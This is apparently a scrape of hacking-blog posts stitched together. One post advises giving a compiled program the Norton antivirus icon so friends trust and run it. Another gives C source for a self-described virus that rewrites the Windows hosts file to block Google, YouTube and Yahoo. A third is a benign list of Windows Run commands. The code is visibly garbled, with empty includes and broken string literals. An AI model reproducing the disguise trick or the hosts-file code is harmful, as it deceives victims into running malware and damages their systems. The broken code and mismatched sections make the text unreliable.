AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)


After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.

For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.

The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .

Blocking Website

#include
#include
#include

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1?;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

117 Usefull Run commands for windows

Run command is very usefull, but sometimes it is forgotten. Use it sometimes and you will find how powerful is run command.



Accessibility Controls - access.cpl

Accessibility Wizard - accwiz

Add Hardware Wizard - hdwwiz.cpl

Add/Remove Programs  - appwiz.cpl

Administrative Tools - control admintools

Automatic Updates - wuaucpl.cpl

Bluetooth Transfer Wizard - fsquirt

Calculator - calc

Certificate Manager - certmgr.msc

Character Map - charmap

Check Disk Utility - chkdsk

Clipboard Viewer - clipbrd

Command Prompt - cmd

Component Services - dcomcnfg

Computer Management - compmgmt.msc

Control Panel - control

Date and Time Properties - timedate.cpl

DDE Shares - ddeshare

Device Manager - devmgmt.msc

Direct X Troubleshooter - dxdiag

Disk Cleanup Utility - cleanmgr

Disk Defragment - dfrg.msc

Disk Management - diskmgmt.msc

Disk Partition Manager - diskpart

Display Properties - control desktop

Display Properties - desk.cpl

Dr. Watson System Troubleshooting Utility - drwtsn32

Driver Verifier Utility - verifier

Event Viewer - eventvwr.msc

Files and Settings Transfer Tool - migwiz

File Signature Verification Tool - sigverif

Findfast - findfast.cpl

Firefox - firefox

Folders Properties - control folders

Fonts - control fonts

Fonts Folder - fonts

Free Cell Card Game - freecell

Game Controllers - joy.cpl

Group Policy Editor (for xp professional) - gpedit.msc

Hearts Card Game - mshearts

Help and Support - helpctr

HyperTerminal - hypertrm

Iexpress Wizard - iexpress

Indexing Service - ciadv.msc

Internet Connection Wizard - icwconn1

Internet Explorer - iexplore

Internet Properties - inetcpl.cpl

Keyboard Properties - control keyboard

Local Security Settings - secpol.msc

Local Users and Groups - lusrmgr.msc

Logs You Out Of Windows - logoff

Malicious Software Removal Tool - mrt

Microsoft Chat - winchat

Microsoft Movie Maker - moviemk

Microsoft Paint - mspaint

Microsoft Syncronization Tool - mobsync

Minesweeper Game - winmine

Mouse Properties - control mouse

Mouse Properties - main.cpl

Netmeeting - conf

Network Connections - control netconnections

Network Connections - ncpa.cpl

Network Setup Wizard - netsetup.cpl

Notepad notepad

Object Packager - packager

ODBC Data Source Administrator - odbccp32.cpl

On Screen Keyboard - osk

Outlook Express - msimn

Paint - pbrush

Password Properties - password.cpl

Performance Monitor - perfmon.msc

Performance Monitor - perfmon

Phone and Modem Options - telephon.cpl

Phone Dialer - dialer

Pinball Game - pinball

Power Configuration - powercfg.cpl

Printers and Faxes - control printers

Printers Folder - printers

Regional Settings  - intl.cpl

Registry Editor - regedit

Registry Editor - regedit32

Remote Access Phonebook - rasphone

Remote Desktop - mstsc

Removable Storage - ntmsmgr.msc

Removable Storage Operator Requests - ntmsoprq.msc

Resultant Set of Policy (for xp professional) - rsop.msc

Scanners and Cameras - sticpl.cpl

Scheduled Tasks - control schedtasks

Security Center - wscui.cpl

Services - services.msc

Shared Folders - fsmgmt.msc

Shuts Down Windows - shutdown

Sounds and Audio - mmsys.cpl

Spider Solitare Card Game - spider

SQL Client Configuration - cliconfg

System Configuration Editor - sysedit

System Configuration Utility - msconfig

System Information - msinfo32

System Properties - sysdm.cpl

Task Manager - taskmgr

TCP Tester - tcptest

Telnet Client - telnet

User Account Management - nusrmgr.cpl

Utility Manager - utilman

Windows Address Book - wab

Windows Address Book Import Utility - wabmig

Windows Explorer - explorer

Windows Firewall - firewall.cpl

Windows Magnifier - magnify

Windows Management Infrastructure - wmimgmt.msc

Windows Media Player - wmplayer

Windows Messenger - msmsgs

Windows System Security Tool - syskey

Windows Update Launches - wupdmgr

Windows Version - winver

Windows XP Tour Wizard - tourstart

Wordpad - write